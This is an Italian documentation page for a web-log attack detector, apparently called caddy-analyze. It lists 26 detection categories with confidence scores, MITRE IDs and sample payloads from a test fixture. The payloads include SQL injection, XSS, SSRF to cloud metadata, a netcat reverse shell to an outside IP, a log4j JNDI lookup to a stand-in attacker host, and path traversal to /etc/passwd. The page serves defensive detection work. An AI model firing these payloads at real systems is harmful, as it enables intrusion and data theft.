v0.7.1 · aggiornata · GitHub

26 Categorie

Ogni riga: confidenza (il punteggio del relativo esempio di fixture), descrizione e un esempio reale da testdata/sample.log (non inventato). Tutti gli esempi usano IP TEST-NET e sono riproducibili tramite caddy-analyze --detect testdata/sample.log. ID MITRE verificati in MITRE e Sigma.

Confidenza
I pattern più forti per categoria ottengono punteggio 9–10 (ad es. UNION SELECT), le euristiche 6–7. Il valore predefinito di Guard --detect-confidence 8 blocca solo ≥8. Abbassarlo a 6 permette più blocchi da pattern; 0 disabilita solo i blocchi da pattern, non gli altri controlli di guard. Le categorie comportamentali (ua_rotation, object_enumeration, beaconing) richiedono ≥10 campioni.
#CategoriaConfidenzaDescrizioneEsempio (dalla fixture)MITRE
1sql_injection8Parole chiave SQL + tautologia/login.php?user=admin'+OR+'1'%3D'1'--+T1190
2nosql_injection8Operatori MongoDB/api/login?username[$ne]=invalidT1190
3xss8Tag script, gestori di eventi, URI JS/search?q=%3Cscript%3Ealert(1)%3C/script%3ET1059.007, T1189
4ssti8Sonde per template (Jinja, FreeMarker)/profile?name={{7*7}}T1190
5ssrf10Metadata cloud, IP privato, loopback/fetch?url=http://169.254.169.254/latest/meta-data/T1190
6rce9Shell, reverse shell, LOLBin, deserializzazione/cgi-bin/bash?cmd=nc+-e+/bin/sh+185.220.101.5+4444T1059, T1190
7path_traversal8Attraversamento directory, byte null, /proc, win.ini/view?file=../../../../etc/passwdT1083
8lfi_wrapper_abuse9Wrapper stream PHP/?file=php://filter/convert.base64-encode/resource=index.phpT1083, T1190
9graphql_introspection8Query di scoperta dello schema/graphql?query={__schema{types{...}}}T1595.002
10log4j_jndi10Lookup JNDI, accesso env/sysUser-Agent: ${jndi:ldap://evil.example.com/a}T1190, T1059
11sensitive_file_probe8.env, git, id_rsa, dump, .sql/.envT1083, T1552.001
12admin_probe8phpMyAdmin, Spring Actuator, H2, heapdump/phpmyadmin/T1595.002
13wordpress_probe8xmlrpc, wp-content, plugin/xmlrpc.php?rsdT1595.002
14cgi_probe7cgi-bin, .cgi/.pl/.fcgi/cgi-bin/test.cgiT1595.002
15scanner930+ firme UA (nikto, sqlmap, nuclei…)User-Agent: nikto/2.5.0T1595
16xxe8ENTITY SYSTEM, XInclude, jar:///api/xml?xml=%3C!DOCTYPE+foo+[<!ENTITY+xxe+SYSTEM+…T1190
17open_redirect7?url=https://, //evil, bypass @/login?next=https://evil.example.com/T1566.002
18ldap_injection8Caratteri di filtro (&, |, (), *)/search?filter=(uid=*))T1190
19xpath_injection7Tautologia XPath, ]|//* /search?q='%20OR%20'1'%3D'1T1190
20crlf_injection8Set-Cookie/Location tramite %0d%0a + bit fantasma/redirect?to=/home%0d%0aSet-Cookie:%20evil=1T1190, T1059
21prototype_pollution8__proto__ / constructor.prototype/api/update?__proto__[isAdmin]=1T1190, T1059.007
22ssi_injection8<!--#exec cmd=, #include virtual=/page?name=%3C!--%23exec+cmd=%22ls%22--%3ET1190, T1059
23ua_rotation6≥10 UA distinti da un IP (euristica)11 UAs on /?r=0…10 from 198.51.100.32T1595.001
24jwt_abuse10alg:none, attraversamento kid, token espostoAuthorization: Bearer eyJhbGciOiJub25l…T1550.001, T1190
25object_enumeration7ID sequenziali per template di percorso (BOLA)/api/users/1 … /api/users/15 from 198.51.100.35T1595.002, T1190
26beaconing6Intervalli regolari per percorso, jitter CV<0.25/api/heartbeat every 60s ×12 from 198.51.100.36T1071.001, T1573

Tutti gli esempi provengono da testdata/sample.log tramite testdata/generate.py (deterministico, TEST-NET). Verifica localmente: caddy-analyze --detect testdata/sample.log dovrebbe attivare tutte e 26 le categorie. La confidenza mostrata è relativa a quell'esatto payload della fixture; i singoli pattern attualmente vanno da 2 a 10 — consulta evasione e Sigma per gate/marker.

Nessun esempio inventato
Ogni esempio sopra è stato letto da testdata/generate.py righe 107–217. Se una futura categoria non avrà una fixture, questa pagina indicherà “nessun esempio di fixture ancora” anziché inventarne uno.